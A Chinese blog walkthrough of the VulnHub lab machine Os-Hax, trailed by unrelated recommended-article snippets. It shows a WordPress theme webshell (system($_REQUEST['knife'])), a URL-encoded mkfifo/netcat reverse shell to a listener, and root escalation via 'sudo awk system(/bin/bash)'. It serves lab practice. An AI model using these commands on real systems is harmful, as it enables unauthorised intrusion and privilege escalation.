vulnhub靶机练习-Os-Hax,详细使用

发现靶机ip,使用nmap进行扫描

使用firefox 192.168.0.9进行访问。

可以查看页面的源代码,看看有没有什么有用信息。

使用目录扫描器gobuster扫描,发现一个wordpress目录。命令:gobuster dir -u http://192.168.0.9 -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt

访问成功,发现有一些标签并没有进行加载。需要让css样式进行加载

做一个hosts,把IP加入到localhost

访问成功,加载了样式。

发现这里有个用户,可以试着后台登录。

找到后台,尝试弱密码登录,无法登录。


看一下忘记密码,能不能获得验证的邮箱或者地址。

也无法获得邮箱和地址。

到这一步,再回到刚才的目录扫描,看看其他的目录文件。发现有一个img试着访问。

发现有一个图片是flag开头的,打开查看。

先把图片保存下来。

在本地使用工具查看里面的内容,发现一个好像passwd的密码,保存在文件夹中。



在使用其他工具查看一下信息。exiftool没有安装,使用apt-get install exiftool进行安装。


发现make当中同样存在passwd。

思考这个pass会是一个什么,重新使用账号进行登录,发现还是提示密码不对。


试试看会不会是目录文件,发现访问成功。有一个hostIP文件和一个flag文件。

发现是一个加密文件,把加密文件用百度进行查找

进行解密,获得账号密码,web:Hacker@4514 然后保存到文件夹中



使用账号密码进行登录,成功登录到了后台。

查看用户,发现我们是超级管理员,那就可以编写一个主题,拿webshell。

来到主题编写header这个主题,加入一句话木马。

更新一下,system($_REQUEST['knife']);

更新之后,来到主页,输入http://localhost/wordpress/?knife=id,成功使用

打开burp,放到reqeater,使用post传参,来使用反弹shell

监听本地的9001端口。nc -lvnp 9001

ctrl+u进行编码。使用反弹shell命令:rm+/tmp/f%3bmkfifo+/tmp/f%3bcat+/tmp/f|/bin/sh+-i+2>%261|nc+192.168.0.8+9001+>/tmp/f

反弹成功,做一个bashshell。

命令:python -c 'import pty;pty.spawn("/bin/bash")'

在文件当中,发现了一个config文件,进行查看,可以看见数据库账号和密码。

命令:cat /etc/passwd 查看密码文件

切换用户为web,之前获得的账号密码进行登录。

查看当前用户的权限,awk是可以调用系统函数的。可以进行执行root的命令

命令:sudo awk '{ system("/bin/bash")}' ,获得root权限。

进入root目录,查看文件,获得flag。

查看cat /etc/sudoers文件,发现web是nopasswd,可以使用awk。

这个版本也存在一个提权漏洞,也是另一种方法。uname -a

总结:
1.当发现后台进行爆破无法成功时,需要想一想目录的问题,会不会提示信息是在目录当中。
2.发现一些编码格式时,可以百度进行查看解密。
3.基本上拿到webshell之后所思考的提权都是有很多种的,根据情况不同,需要有不同的方法。
vulnhub靶机练习-Os-Hax,详细使用的更多相关文章
- vulnhub靶机-Me and My Girlfriend: 1
vulnhub靶机实战 1.靶机地址:https://www.vulnhub.com/entry/me-and-my-girlfriend-1,409/ 2.先看描述(要求) 通过这个我们可以知道我们 ...
- vulnhub靶机Os-hackNos-1
vulnhub靶机Os-hackNos-1 信息搜集 nmap -sP 192.168.114.0/24 找到开放机器192.168.114.140这台机器,再对这台靶机进行端口扫描. 这里对他的端口 ...
- vulnhub靶机练习-Os-hackNos-1,超详细使用
第一次写自己总结的文章,之后也会有更新,目前还在初学阶段. 首先介绍一下靶机,靶机是 vulnhub Os-hackNos-1 简介: 难度容易到中, flag 两个 一个是普通用户的user.txt ...
- Vulnhub 靶机 pwnlab_init 渗透——详细教程
1. 下载 pwnlab_ini 靶机的 .ova 文件并导入 VMware: pwnlab下载地址:PwnLab: init ~ VulnHub 导入VMware时遇到VMware上虚机太多,无法确 ...
- vulnhub靶机之DC6实战(wordpress+nmap提权)
0x00环境 dc6靶机下载地址:https://download.vulnhub.com/dc/DC-6.zip dc6以nat模式在vmware上打开 kali2019以nat模式启动,ip地址为 ...
- vulnhub靶机djinn:1渗透笔记
djinn:1渗透笔记 靶机下载地址:https://www.vulnhub.com/entry/djinn-1,397/ 信息收集 首先我们嘚确保一点,kali机和靶机处于同一网段,查看kali i ...
- 对vulnhub靶机lampiao的getshell到脏牛提权获取flag
前言: vulnhub里面的一个靶场,涉及到drupal7 cms远程代码执行漏洞(CVE-2018-7600)和脏牛提权. 靶机下载地址:https://mega.nz/#!aG4AAaDB!CBL ...
- PJzhang:vulnhub靶机sunset系列SUNSET:TWILIGHT
猫宁~~~ 地址:https://www.vulnhub.com/entry/sunset-twilight,512/ 关注工具和思路. nmap 192.168.43.0/24靶机IP192.168 ...
- 脚本小子学习--vulnhub靶机DC8
@ 目录 前言 一.环境搭建 二.目标和思路 三.实际操作 1.信息收集 2.getshell 总结 前言 通过一些靶机实战练习,学习使用现有的工具来成为脚本小子. 一.环境搭建 靶机:Linux虚拟 ...
随机推荐
- linq to entity不识别方法"System.String ToString()"
将班级id以字符串形式输入如:"1111,1112,1113".数据库里的id为int型,在数据路里找到匹配的相应班级转换成列表.在这里爆出问题:不识别方法"System ...
- vue-cli3 创建项目路由缺失问题
1.在项目中新建一个router.js router.js import Vue from 'vue' import Router from 'vue-router' import Home from ...
- ORACLE的还原表空间UNDO写满磁盘空间,解决该问题的具体步骤
产生问题的原因主要以下两点:1. 有较大的事务量让Oracle Undo自动扩展,产生过度占用磁盘空间的情况:2. 有较大事务没有收缩或者没有提交所导制:说明:本问题在ORACLE系统管理中属于比较正 ...
- Linux下的strip命令学习
strip strip是Linux下的一个命令.可以用于给应用脱衣服,帮助我们抹除一些调试信息.(虽然不知道具体是什么,但是会用就好了) 在嵌入式开发领域用到的应该比较多 首先,先写一个示例看看 // ...
- 【对线面试官】Java 反射&&动态代理
// 抽象类,定义泛型<T> public abstract class BaseDao<T> { public BaseDao(){ Class clazz = this.g ...
- 【C++】《C++ Primer 》第九章
第九章 顺序容器 一.顺序容器概述 顺序容器(sequential container):为程序员提供了控制元素存储和访问顺序的能力.这种顺序不依赖于元素的值,而是与元素加入容器时的位置相对应. 不同 ...
- SpringBoot魔法堂:@MatrixVariable参数注解使用详解
前言 RFC3986定义URI的路径(Path)中可包含name-value片段,扩充了以往仅能通过查询字符串(Query String)设置可选参数的囧境. 假如现在需要设计一个用于"搜索 ...
- 【Zabbix】配置zabbix agent向多个server发送数据
1.背景: server端: 172.16.59.197 ,172.16.59.98 agent 端: hostname:dba-test-hzj02 IP:172.16.59.98 2.方式: 配 ...
- 目录遍历 - Pikachu
概述: 在web功能设计中,很多时候我们会要将需要访问的文件定义成变量,从而让前端的功能便的更加灵活. 当用户发起一个前端的请求时,便会将请求的这个文件的值(比如文件名称)传递到后台,后台再执行其对应 ...
- AmoebaNet:经费在燃烧,谷歌提出基于aging evolution的神经网络搜索 | AAAI 2019
论文提出aging evolution,一个锦标赛选择的变种来优化进化算法,在NASNet搜索空间上,对比强化学习和随机搜索,该算法足够简洁,而且能够更快地搜索到更高质量的模型,论文搜索出的Amoeb ...